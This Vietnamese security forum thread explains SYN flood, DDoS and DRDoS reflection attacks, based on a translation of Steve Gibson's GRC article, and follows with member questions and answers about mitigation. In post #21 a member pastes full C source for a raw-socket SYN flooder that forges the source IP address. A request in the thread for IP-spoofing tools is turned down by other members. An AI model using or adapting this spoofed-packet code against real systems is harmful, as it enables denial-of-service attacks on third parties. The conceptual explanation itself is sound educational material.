banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận bảo mật DRDoS  XML
  [Question]   DRDoS 20/06/2006 15:17:47 (+0700) | #1 | 545
[Avatar]
Mulan
HVA Friend

Joined: 01/02/2002 15:09:07
Messages: 274
Location: 127.0.0.1
Offline
[Profile] [PM]
DRDoS

Distributed Reflection Denial of Service - Tấn công từ chối dịch vụ bằng phương pháp phản xạ nhiều vùng

(Th3 W@tch3r)

0. Chú ý:
a. Tôi cũng và tác giả của bài viết ( Steve Gibson ) không chịu trách nhiệm về hành động của các bạn khi đọc bài viết, bài viết chỉ có mục đích nâng cao kiến thức ... nếu bạn muốn thực hành thì hãy tự setup 1 server ở nhà và tấn công máy của mình.

b. Bài viết được lược dịch từ gốc www.grc.com/dos/drdos.htm của tác giả Steve Gibson, tất cả credit là đều của Steve Gibson. Nếu bạn muốn 1 bản tiếng anh bạn có thể đến địa chỉ trên để tra cứu

c. Mọi vấn đề xin liên hệ th3watch3rvn at Yahoo dot com

1. Giới thiệu:Vào lúc 2 giờ sáng ngày 11 - 1 - 2002, Trang web GRC.COM đã bị đánh tung khỏi Internet bằng một kiểu tấn công từ chối dịch vụ mới. Điều kinh ngạc chính là nguồn tấn công đươ.c bắt đầu bằng những đường chính của Internet, bao gồm Yahoo.com và cả những IP "gary7.nsa.gov". Chúng tôi đã bị tấn công bởi hàng trăm server mạnh nhất của internet ...

Vào thời điểm chúng tôi tìm ra cách để ngăn chặn cuộc tấn công này và quay lại internet, 1 072 519 399 packet bị chặn đứng trước khi cuộc tấn công bị dừng ...

Đây chính là những thông tin được Steve Gibson mô tả trong bài báo về DRDoS mà ông đã gặp ngày 11-1-2002... và bây giờ chúng ta sẽ tìm hiểu xem DRDoS là gì và cách tấn công như thế nào.

2. Sơ lược về TCP/IP:
Bạn đọc thêm tại www.viethacker.info/~th3watch3rvn trong bài TCP 3-ways hanshake để biết thêm về cách TCP mở 1 phiên làm việc

3. Lợi dụng TCP: phương pháp SYN flood truyền thống:
Nhiều năm trước đây, sự yếu kém của đường truyền TCP được các HĐH sử dụng đã bị các Internet's Hacker kháp phá ra và lợi dụng.

Theo sơ đồ ở dưới đây, Client gửi SYN packet cho server để thông báo server chuẩn bị 1 đường truyền. Server sẽ giành 1 phần tài nguyên hệ thống như bộ nhớ đệm để nhận và truyền dữ liệu. Ngoài ra các thông tin khác của Client cũng được ghi nhận như địa chỉ IP của Client và Cổng ( Port ). Sau đó server sẽ send ngược lại SYN/ACK packet để thông báo Client là mọi thứ đã chuẩn bị và nếu như không nhận đuợc ACK packt của Client ( có thể do packet đã bị thất lạc trên đường truyền ), server sẽ tiếp tục gửi lại SYN/ACK packet cho Client.

Nhưng chúng ta sẽ tiếp tục suy nghĩ tiếp. Như vậy với bất cứ 1 SYN packet đơn giản nào, Server cũng phải để 1 phần tài nguyên cho đường truyền đó, và tài nguyên của Server là có hạn và Hacker sẽ tìm mọi cách để Server đạt được cái giới hạn đó. ( Đây còn được gọi là half-open connection)



Bằng cách dùng Raw Sockets ( không phải TCP hay DUP packet ), IP gốc của packet có thể bị ghi đè lên và làm giả mạo. Khi một SYN packet với IP giả mạo được gửi đến Server, nó cũng như bao packet khác, vẫn hợp lệ đối với Server và Server sẽ cấp vùng tài nguyên cho đường truyền này, ghi nhận toàn bộ thông tin và gủi SYN/ACK packet ngược lại cho Client. Vì địa chỉ IP của Client là giả mạo nên sẽ không có Client nào nhận được SYN/ACK packet này, sau 1 thời gian không nhận được ACK packet từ Client, Server nghĩ rằng packet bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK packet, cứ như thế, connection tiếp tục mở.

Nếu như Hacker tiếp tục gửi nhiều SYN packet đến Server và cuối cùng Server đã không thể tiếp nhận thêm 1 connection nào nữa : Server đã bị flood.

Đây không phải là kiểu tấn công bằng đường truyền cao, bởi vì chỉ cần 1 máy tính nối internet dial up đơn giản cũng có thể tấn công kiểu này ( tất nhiên sẽ lâu hơn 1 chút smilie )

4. Sự phát triển của cách tấn công bằng Bandwidth:
a. Điều gì xảy ra trong quá trình Bandwidth attack:

Không giống như cách tấn công SYN Flood, Bandwidth attack tạo 1 brute force attack từ các Server mạnh đến máy của Victim, những packet giả ồ ạt chiếm hết đường truyền của Victim làm máy Victim không thể nhận thêm 1 packet nào khác.



Như chúng ta thấy ở sơ đồ trên, tất cả packet đi vào 1 mạng máy tính qua 1 "Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều computer con tùy theo địa chỉ IP của packet. Nhưng nếu toàn bộ "Big-Pipe" bị flood bằng những packet chỉ hướng đến 1 computer nhất định trong mạng máy tính con này, Router đành phải chấp nhận loại bỏ phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của computer đó. Kiểu tấn công "cá lớn nuốt cá bé" này sẽ đá văng victim ra khỏi internet...


5. DoS vs DDos ( Denial of Service Vs Distributed Deninal of Service )
DoS:
Phong cách tấn công truyền thống, khi 1 computer tấn công 1 computer khác




Với kiểu tấn công này 1 máy tính có đường truyền cao có thể đánh bật các máy có đường truyền thấp hơn ra khỏi Internet

DDos: Tấn công mức độ cao hơn bằng cách sử dụng đường truyền của nhiều máy tính tấn công vào 1 máy tính hay 1 mạng máy tính.




Máy tấn công ( Attack Control Machanism ) sẽ điều khiển các máy tính khác ( Zombie ) để cùng tấn công vào 1 mục tiêu duy nhất ( Target / Victim Network )

Tất cả Zombie đều có thể ở trong 1 mạng máy tính với đường truyền thấp hơn, nhưng với nhiều mạng máy tính hợp lại, cho dùng Victim có đường truyền nhanh nhất thế giới cũng sẽ bị đánh bật ra khỏi internet dễ dàng. ( Tất cả "Small Pipe" của Zombie hợp lại thành "Big Pipe" hướng đến router của victim )

Vì sự tấn công đựơc giàn đều đến các máy khác nhau trên internet nên phương pháp này được gọi là DDoS

6. DRDoS ( Distributed Reflection Denial of Service ) - Thế hệ tiếp theo của DDoS.
( Lưu ý: Trong tài liệu gốc của Steve Gibson, đoạn này sẽ kể lại cuộc tấn công DRDoS hướng vào grc.com, nhưng ở đây với mục đính thông tin, tôi chỉ tóm lược về phương pháp DRDoS, nếu bạn thích đọc về cuộc tấn công này bạn có thể tham khảo ở trang web nguồn )

Bây giờ, chúng ta hãy nhớ lại phương pháp SYN attack truyền thống của DoS, phương pháp này dựa trên bước thứ nhất để mở connection của TCP để tạo các "open half" connection làm Server bị ăn mòn hết tài nguyên. Các SYN packet được gửi trực tiếp đến Server sau khi đã giả mạo IP nguồn. IP giả mạo sẽ là 1 IP không có thật trên Internet để cho Server không thể nào hoàn thành được connection.

Ta có Server A và Victim, giả sử ta gửi 1 SYN packet đến Server A trong đó IP nguồn đã bị giả mạo thành IP của Victim, bạn nghĩ chuyện gì sẽ xảy ra ??? Đúng, Server A sẽ mở 1 connection và gủi SYN/ACK packet cho Victim vì nghĩ rằng Victim muốn mở connection với mình. Và đây chính là khái niệm của Reflection ( Phản xạ ).

DRDoS có thể được mô tả như sau :




Hacker sẽ điều khiển Spoof SYN generator, gửi SYN packet đến tất cả các TCP Server lớn, lúc này các TCP Server này vô tình thành Zombie cho Hacker để cùng tấn công Victim và làm nghẽn đường truyền của Victim.
[Up] [Print Copy]
  [Question]   DRDoS 29/06/2006 02:42:16 (+0700) | #2 | 1821
[Avatar]
phamquoc_truong
Elite Member

[Minus]    0    [Plus]
Joined: 04/04/2004 07:54:12
Messages: 79
Location: PeaceWorld
Offline
[Profile] [PM]
Đầy đủ, cụ thể . . . rất đáng cho mọi người cũng tham khảo !

HAVE FUN !
[Up] [Print Copy]
  [Question]   DRDoS 09/07/2006 09:29:21 (+0700) | #3 | 5312
[Avatar]
nhatminh1209
Member

[Minus]    0    [Plus]
Joined: 25/01/2005 08:55:11
Messages: 102
Offline
[Profile] [PM]
Anh Mulan, cái này là bài em viết hồi xưa trên trang chuadatten.com mà. He he. Bắt đền bản quyền.
[Up] [Print Copy]
  [Question]   DRDoS 10/07/2006 01:16:50 (+0700) | #4 | 5410
[Avatar]
Mulan
HVA Friend

Joined: 01/02/2002 15:09:07
Messages: 274
Location: 127.0.0.1
Offline
[Profile] [PM]
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy.
[Up] [Print Copy]
  [Question]   Re: DRDoS 10/07/2006 05:24:52 (+0700) | #5 | 5449
mR.Bi
Member

[Minus]    0    [Plus]
Joined: 22/03/2006 13:17:49
Messages: 812
Offline
[Profile] [PM] [WWW]
Vào lúc 2 giờ sáng ngày 11 - 1 - 2002, Trang web GRC.COM đã bị đánh tung khỏi Internet bằng một kiểu tấn công từ chối dịch vụ mới. Điều kinh ngạc chính là nguồn tấn công đươ.c bắt đầu bằng những đường chính của Internet, bao gồm Yahoo.com và cả những IP "gary7.nsa.gov". Chúng tôi đã bị tấn công bởi hàng trăm server mạnh nhất của internet ...

Vào thời điểm chúng tôi tìm ra cách để ngăn chặn cuộc tấn công này và quay lại internet, 1 072 519 399 packet bị chặn đứng trước khi cuộc tấn công bị dừng ...

 

Có vẻ kiểu tấn công này là lí tưởng trong thời điểm hiện nay,khả năng có một cuộc tấn công tương tư hiện nay chắc là ko có,nhất là tại VN
All of my life I have lived by a code and the code is simple: "honour your parent, love your woman and defend your children"
[Up] [Print Copy]
  [Question]   DRDoS 10/07/2006 09:51:40 (+0700) | #6 | 5501
[Avatar]
nhatminh1209
Member

[Minus]    0    [Plus]
Joined: 25/01/2005 08:55:11
Messages: 102
Offline
[Profile] [PM]

Mulan wrote:
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy. 


Không, he he smilie smilie Em nói đùa đấy mà. Thôi lần sau em không ăn nói linh tinh nữa. Đúng là em hay phát biểu vớ vẩn thật. he he
[Up] [Print Copy]
  [Question]   DRDoS 10/07/2006 17:23:59 (+0700) | #7 | 5547
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

nhatminh1209 wrote:

Mulan wrote:
Có cần anh attach luôn cái source anh Save của Th3 W@tch3r không. Lần sau nói linh tinh anh xoá bài đấy. 


Không, he he smilie smilie Em nói đùa đấy mà. Thôi lần sau em không ăn nói linh tinh nữa. Đúng là em hay phát biểu vớ vẩn thật. he he 


Giảm bớt chit chat dùm. Trong box kỹ thuật không nên í a, í ới. Cảnh cáo lần thứ nhất đấy nha.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   DRDoS 05/08/2006 23:39:35 (+0700) | #8 | 12526
mrsleeping
Member

[Minus]    0    [Plus]
Joined: 13/07/2006 16:58:22
Messages: 7
Offline
[Profile] [PM]
vậy có cách nào hạn chế số lần request của server khi trở thành victim tới 1 ip để tránh tình trạng thành cấp số nhân ( server request tới 1 ip nhiều lần !)
hoặc cách nào khác có thể giới hạn số ip cùng truy cập trên 1 thời điểm !
anh em nào đi trước mong chỉ giáo
[Up] [Print Copy]
  [Question]   DRDoS 06/08/2006 06:23:12 (+0700) | #9 | 12594
subnetwork
Member

[Minus]    0    [Plus]
Joined: 05/09/2004 06:08:09
Messages: 1666
Offline
[Profile] [PM] [WWW] [Yahoo!]

mrsleeping wrote:
vậy có cách nào hạn chế số lần request của server khi trở thành victim tới 1 ip để tránh tình trạng thành cấp số nhân ( server request tới 1 ip nhiều lần !)
hoặc cách nào khác có thể giới hạn số ip cùng truy cập trên 1 thời điểm !
anh em nào đi trước mong chỉ giáo  


Bạn xem tại đây
http://www.htmlforum.net/hvaonline/posts/list/1885.html

Thân
Quản lý máy chủ, cài đặt, tư vấn, thiết kế, bảo mật hệ thống máy chủ dùng *nix
http://chamsocmaychu.com
[Up] [Print Copy]
  [Question]   Re: DRDoS 11/08/2006 12:17:30 (+0700) | #10 | 13998
delay
Member

[Minus]    0    [Plus]
Joined: 15/06/2005 09:51:47
Messages: 31
Offline
[Profile] [PM]
Cho em thắc mắc một chút,nếu tất cả các package mang cờ SYN/ACK gửi tới máy victim,ở đây khoan nói đến việc đầy nghẽn "small pipe" đã,vậy máy victim sẽ xử lý như thế nào với các package này?
Theo như suy luận của em thì máy victim khi nhận những package ngoài mong muốn này nó sẽ biết ko phải là của nó nên nó sẽ bỏ qua( vì trong bộ nhớ của nó đâu có hàng đợi khi truyền cờ SYN đâu).

Như vậy vấn để ở đây có phải cách tấn công này đá văng máy victim ra khỏi internet là do đường truyền bị chiếm dụng không anh? Và nếu đúng như vậy thì cách tấn công này phải ánh xạ từ những server cực mạnh và số lượng lớn thì mới có tác dụng chứ hả anh Mulan?
[Up] [Print Copy]
  [Question]   DRDoS 11/08/2006 21:20:22 (+0700) | #11 | 14059
[Avatar]
Mulan
HVA Friend

Joined: 01/02/2002 15:09:07
Messages: 274
Location: 127.0.0.1
Offline
[Profile] [PM]
Cho em thắc mắc một chút,nếu tất cả các package mang cờ SYN/ACK gửi tới máy victim,ở đây khoan nói đến việc đầy nghẽn "small pipe" đã,vậy máy victim sẽ xử lý như thế nào với các package này?
Theo như suy luận của em thì máy victim khi nhận những package ngoài mong muốn này nó sẽ biết ko phải là của nó nên nó sẽ bỏ qua( vì trong bộ nhớ của nó đâu có hàng đợi khi truyền cờ SYN đâu).  


Ở trong mục "phương pháp SYN flood truyền thống" thì SYN/ACK không phải gửi tới máy victim mà SYN/ACK ở đây là từ victim (server đang bị flood) gửi tới một địa chỉ ma.
Và vì đây là địa chỉ ma (dù có hay không) thì mục đích của chúng ta đang là flood server:
---->
Server nghĩ rằng packet bị thất lạc nên lại tiếp tục gửi tiếp SYN/ACK packet, cứ như thế, connection tiếp tục mở.

Nếu như Hacker tiếp tục gửi nhiều SYN packet đến Server và cuối cùng Server đã không thể tiếp nhận thêm 1 connection nào nữa : Server đã bị flood.  
[Up] [Print Copy]
  [Question]   Re: DRDoS 12/08/2006 05:24:32 (+0700) | #12 | 14228
romanticist85
Member

[Minus]    0    [Plus]
Joined: 11/08/2006 17:37:09
Messages: 1
Offline
[Profile] [PM]
dù sao cũng hay nhưng phải thêm nhiêu thứ nữa. tôi sẽ bổ sung tiếp khi có dịp và hứng thú với chủ đề này! cách phòng chống hiệu quả nhất sẽ đươc đề cập!
[Up] [Print Copy]
  [Question]   Re: DRDoS 12/08/2006 07:08:20 (+0700) | #13 | 14262
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

delay wrote:
Cho em thắc mắc một chút,nếu tất cả các package mang cờ SYN/ACK gửi tới máy victim,ở đây khoan nói đến việc đầy nghẽn "small pipe" đã,vậy máy victim sẽ xử lý như thế nào với các package này?
Theo như suy luận của em thì máy victim khi nhận những package ngoài mong muốn này nó sẽ biết ko phải là của nó nên nó sẽ bỏ qua( vì trong bộ nhớ của nó đâu có hàng đợi khi truyền cờ SYN đâu).

Như vậy vấn để ở đây có phải cách tấn công này đá văng máy victim ra khỏi internet là do đường truyền bị chiếm dụng không anh? Và nếu đúng như vậy thì cách tấn công này phải ánh xạ từ những server cực mạnh và số lượng lớn thì mới có tác dụng chứ hả anh Mulan? 


Không phải hệ điều hành nào cũng xử lý các gói SYN/ACK gọn gàng và nhanh chóng (bỏ qua) được. Hơn nữa, để "bỏ qua", hệ điều hành vẫn phải xác minh nó là cái gì rồi mới "bỏ qua" và làm như thế vẫn hao tổn tài nguyên.

Nếu số lượng SYN/ACK đi vào quá nhiều, nó vẫn có thể dung hoà (saturate) đường dẫn khiến cho các truy cập khác không thể nào đến được máy của nạn nhân.

Tấn công "ánh xạ" này không cần phải đi từ những server cực mạnh mà chỉ cần gởi càng nhiều spoofed packets đến các routers càng tốt để chúng dội ngược lại nạn nhân.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   DRDoS 07/03/2010 19:39:13 (+0700) | #14 | 206386
[Avatar]
Mr_tokeo
Member

[Minus]    0    [Plus]
Joined: 21/10/2008 23:31:17
Messages: 3
Location: xÓm nhà lá
Offline
[Profile] [PM] [Email]
Phức tạp phết anh ạ...
Dù sao cũng thanks anh nhé
~~~~==**Mr_tokeo**==~~~
[Up] [Print Copy]
  [Question]   DRDoS 12/03/2010 17:38:41 (+0700) | #15 | 206732
hacker_lo_mo
Member

[Minus]    0    [Plus]
Joined: 11/03/2010 21:20:50
Messages: 2
Offline
[Profile] [PM]
Thật sự là một bài viết dày công, dù dịch hay là kiến thức của tác giả. Xin cảm ơn.
[Up] [Print Copy]
  [Question]   DRDoS 06/04/2010 16:06:26 (+0700) | #16 | 208510
[Avatar]
graycap
Member

[Minus]    0    [Plus]
Joined: 18/02/2010 20:39:18
Messages: 20
Offline
[Profile] [PM]
cái này thì mình biết rồi nhưng cách thực hiện nó mới là điều quan trọng ??? smilie
anh nào pro cho em hỏi 2 vấn đề liên quan đến nó
1>dùng cộng cụ nào để giả mạo thành ip của victim smilie
2>gửi một gói đến sever như thế nào<tcp/ip em chưa biết gì cả mong mấy anh chỉ cho và học nó ở trang nào> smilie
[Up] [Print Copy]
  [Question]   DRDoS 06/04/2010 16:20:05 (+0700) | #17 | 208513
[Avatar]
tmd
Member

[Minus]    0    [Plus]
Joined: 28/06/2006 03:39:48
Messages: 2951
Offline
[Profile] [PM]

graycap wrote:
cái này thì mình biết rồi nhưng cách thực hiện nó mới là điều quan trọng ??? smilie
anh nào pro cho em hỏi 2 vấn đề liên quan đến nó
1>dùng cộng cụ nào để giả mạo thành ip của victim smilie
2>gửi một gói đến sever như thế nào<tcp/ip em chưa biết gì cả mong mấy anh chỉ cho và học nó ở trang nào> smilie 

Câu phát biểu mâu thuẩn thật sự. Góp ý về sự nâng câu hiểu biết bằng cách siêng năng đọc diễn đàn. Đọc "Ở đâu" thì nên bắt đầu (hoặc nếu không muốn bắt đầu) tìm hiểu phòng đọc và "cứ ngồi mà đọc để biết những gì mình không biết".
3 giai đoạn của con... người, ban đầu dek biết gì thì phải thăm dò, sau đó biết rồi thì phải thân thiết, sau cùng khi quá thân thiết rồi thì phải tình thương mến thương. Nhưng mà không thương được thì ...
[Up] [Print Copy]
  [Question]   DRDoS 10/04/2010 16:46:13 (+0700) | #18 | 208782
[Avatar]
graycap
Member

[Minus]    0    [Plus]
Joined: 18/02/2010 20:39:18
Messages: 20
Offline
[Profile] [PM]
đọc cai gì mà đọc hả ông anh mấy cái liên quan đến cái này máy ông amid không cho phép post đâu ông anh ak <đọc bằng niềm tin> smilie
[Up] [Print Copy]
  [Question]   DRDoS 10/04/2010 17:22:52 (+0700) | #19 | 208787
phanledaivuong
Member

[Minus]    0    [Plus]
Joined: 23/05/2008 17:34:21
Messages: 315
Location: /dev/null
Offline
[Profile] [PM] [WWW]

graycap wrote:
đọc cai gì mà đọc hả ông anh mấy cái liên quan đến cái này máy ông amid không cho phép post đâu ông anh ak <đọc bằng niềm tin> smilie 


Ai bảo cậu là mấy admin ko cho phép post. vấn đề là không có ai thèm post thôi. vì post ra rồi lại có thêm mấy cu cậu script kiddie mang ra nghịch ngợm linh tinh rồi chẳng đâu vào đâu. vì nếu mà ở mục đích hiểu biết thì người ta sẽ tự đọc sách và tìm hiểu lấy chứ không có time lên hỏi dùng tool nào để giả mạo ip hay là làm thế nào để gửi request đến server.
tôi thấy cậu nên tìm cái quyển sách nào mà ngồi đọc thì hay hơn là suốt ngày lượn quanh mấy cái 2pic DrDos rồi post những bài kiểu này.
[Up] [Print Copy]
  [Question]   DRDoS 11/04/2010 12:26:59 (+0700) | #20 | 208840
anpha
Member

[Minus]    0    [Plus]
Joined: 07/06/2009 19:49:38
Messages: 2
Offline
[Profile] [PM]
Em còn bé không biết cái code này có liên quan đến cái gì nhờ các anh giúp

Code:
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<features.h>
#include<linux/if_packet.h>
#include<linux/if_ether.h>
#include<errno.h>
#include<sys/ioctl.h>
#include<net/if.h>


int CreateRawSocket(int protocol_to_sniff)
{
	int rawsock;

	if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_sniff)))== -1)
	{
		perror("Error creating raw socket: ");
		exit(-1);
	}

	return rawsock;
}

int BindRawSocketToInterface(char *device, int rawsock, int protocol)
{
	
	struct sockaddr_ll sll;
	struct ifreq ifr;

	bzero(&sll, sizeof(sll));
	bzero(&ifr, sizeof(ifr));
	
	/* First Get the Interface Index  */


	strncpy((char *)ifr.ifr_name, device, IFNAMSIZ);
	if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1)
	{
		printf("Error getting Interface index !\n");
		exit(-1);
	}

	/* Bind our raw socket to this interface */

	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifr.ifr_ifindex;
	sll.sll_protocol = htons(protocol); 


	if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1)
	{
		perror("Error binding raw socket to interface\n");
		exit(-1);
	}

	return 1;
	
}

void PrintPacketInHex(unsigned char *packet, int len)
{
	unsigned char *p = packet;

	printf("\n\n---------Packet---Starts----\n\n");
	
	while(len--)
	{
		printf("%.2x ", *p);
		p++;
	}

	printf("\n\n--------Packet---Ends-----\n\n");

}


main(int argc, char **argv)
{
	int raw;
	unsigned char packet_buffer[2048]; 
	int len;
	int packets_to_sniff;
	struct sockaddr_ll packet_info;
	int packet_info_size = sizeof(packet_info);

	/* create the raw socket */

	raw = CreateRawSocket(ETH_P_IP);

	/* Bind socket to interface */

	BindRawSocketToInterface(argv[1], raw, ETH_P_IP);

	/* Get number of packets to sniff from user */

	packets_to_sniff = atoi(argv[2]);

	/* Start Sniffing and print Hex of every packet */
	
	while(packets_to_sniff--)
	{
		if((len = recvfrom(raw, packet_buffer, 2048, 0, (struct sockaddr*)&packet_info, &packet_info_size)) == -1)
		{
			perror("Recv from returned -1: ");
			exit(-1);
		}
		else
		{
			/* Packet has been received successfully !! */

			PrintPacketInHex(packet_buffer, len);
		}
	}
	
	
	return 0;
}

[Up] [Print Copy]
  [Question]   DRDoS 11/04/2010 12:42:11 (+0700) | #21 | 208843
anpha
Member

[Minus]    0    [Plus]
Joined: 07/06/2009 19:49:38
Messages: 2
Offline
[Profile] [PM]
Em post nhầm code. Cái này cơ, xin lỗi vì chức năng sửa bài không hoặt động cho members
Code:
/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

typedef struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	//char tcp[28];
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ("192.168.1.2");	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr("192.168.1.2");
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!n");
	}

	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			printf ("errorn");
		//Data send successfully
		else
			printf (".");
	//}

	return 0;
}
[Up] [Print Copy]
  [Question]   DRDoS 12/04/2010 16:30:58 (+0700) | #22 | 208851
[Avatar]
graycap
Member

[Minus]    0    [Plus]
Joined: 18/02/2010 20:39:18
Messages: 20
Offline
[Profile] [PM]
nếu mà tìm được sách thì đã không phải ngồi hỏi như thế này mất thời gian smilie smilie smilie smilie
[Up] [Print Copy]
  [Question]   DRDoS 12/04/2010 16:36:25 (+0700) | #23 | 208854
[Avatar]
tmd
Member

[Minus]    0    [Plus]
Joined: 28/06/2006 03:39:48
Messages: 2951
Offline
[Profile] [PM]

graycap wrote:
nếu mà tìm được sách thì đã không phải ngồi hỏi như thế này mất thời gian smilie smilie smilie smilie 

Sự thiếu(hoặc có khi chẳng biết) về TCP/IP cộng với các kiến thức lập trình và cấu trúc hệ thống thông tin dẫn tới chuyện chẳng biết đọc cái gì cũng như chẳng biết kiếm cái gì để đọc. Thực tế nó vậy, đừng có than làm gì cho mệt. smilie
3 giai đoạn của con... người, ban đầu dek biết gì thì phải thăm dò, sau đó biết rồi thì phải thân thiết, sau cùng khi quá thân thiết rồi thì phải tình thương mến thương. Nhưng mà không thương được thì ...
[Up] [Print Copy]
  [Question]   DRDoS 10/12/2010 15:24:36 (+0700) | #24 | 226799
congthang_9x
Member

[Minus]    0    [Plus]
Joined: 25/02/2009 20:06:03
Messages: 6
Offline
[Profile] [PM]
Chào các bro.
các bro mạn phép cho em hỏi. trong quá trình tấn công SYN thì theo như em nghĩ là nó chỉ là sự kết hợp giữa quá trình bắt tay 3 bước trong phiên TCP/IP. 1 máy chủ tấn công 1 victim thì mình nên liệt vào cho hắn là D-Dos hoặc Dos thôi chứ nếu liệt vào DrDos thì có hơi quá ko?
hơn nữa nếu SYN đc liệt vào 1 trong những hình thức tấn công DrDos thì kiểu tấn công Smurf Attack thì thế nào? em nhận thấy kiểu tấn công này còn mạnh hơn cả SYN vì nó phát gói tin cho tất cả các máy cùng trả lời 1 lúc.
Các bro thông cảm cho những câu hỏi gà của em ở trên.. smilie rất mong các bro giúp đỡ. thank
[Up] [Print Copy]
  [Question]   DRDoS 10/12/2010 18:11:50 (+0700) | #25 | 226808
[Avatar]
Ky0
Moderator

Joined: 16/08/2009 23:09:08
Messages: 532
Offline
[Profile] [PM]

congthang_9x wrote:
Chào các bro.
các bro mạn phép cho em hỏi. trong quá trình tấn công SYN thì theo như em nghĩ là nó chỉ là sự kết hợp giữa quá trình bắt tay 3 bước trong phiên TCP/IP. 1 máy chủ tấn công 1 victim thì mình nên liệt vào cho hắn là D-Dos hoặc Dos thôi chứ nếu liệt vào DrDos thì có hơi quá ko?
hơn nữa nếu SYN đc liệt vào 1 trong những hình thức tấn công DrDos thì kiểu tấn công Smurf Attack thì thế nào? em nhận thấy kiểu tấn công này còn mạnh hơn cả SYN vì nó phát gói tin cho tất cả các máy cùng trả lời 1 lúc.
Các bro thông cảm cho những câu hỏi gà của em ở trên.. smilie rất mong các bro giúp đỡ. thank 


==> Bạn đọc kỹ lại bài viết của anh Mulan để hiểu rõ hơn. SYN attack là một kỹ thuật dùng trong tấn công DOS/DDOS

==> Smuff attack cũng là một hình thức tấn công DDOS dùng gói tin ICMP, muốn cuộc tấn công hiệu quả thì đòi hỏi "mạng khuếch đại" đủ lớn. Tuy nhiên nếu các router trên mạng tắt chức năng Directed Broadcast thì dạng tấn công này không hiệu quả, chưa kể các firewall thường chặn các gói tin ICMP. Vì thế hình thức tấn công này không còn phổ biến.

- Ky0 -

UITNetwork.com
Let's Connect
[Up] [Print Copy]
  [Question]   DRDoS 11/12/2010 15:54:16 (+0700) | #26 | 226868
myquartz
Member

[Minus]    0    [Plus]
Joined: 04/01/2005 04:58:30
Messages: 563
Offline
[Profile] [PM]
Một là các đồng chí không nên đào mồ topic.
Hai là các vấn đề này nên đọc kỹ và hiểu về TCP/IP, thì sẽ không có gì thắc mắc nhiều.
